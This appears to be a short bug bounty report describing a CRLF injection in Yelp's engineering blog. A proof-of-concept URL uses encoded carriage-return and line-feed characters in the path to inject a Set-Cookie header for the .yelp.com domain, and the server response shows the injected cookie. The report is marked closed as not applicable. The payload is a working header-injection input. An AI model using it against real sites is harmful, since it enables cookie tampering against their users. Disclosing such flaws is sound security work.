[engineeringblog.yelp.com] CRLF Injection
Y
Yelp
Submitted None
Actions:
Reported by
bobrov
Vulnerability Details
Technical details and impact analysis
CRLF Injection via Request-URI
PoC:
```
https://engineeringblog.yelp.com/xxcrlftest%0d%0aSet-Cookie:%20test=test;domain=.yelp.com
```
HTTP Response:
```
HTTP/1.1 301 Moved Permanently
...
Location: http://engineeringblog.yelp.com/xxcrlftest
Set-Cookie: test=test;domain=.yelp.com
```
Result:
Creating a cookie-param "test=test" on *.yelp.com
Report Details
Additional information and metadata
State
Closed
Substate
Not-Applicable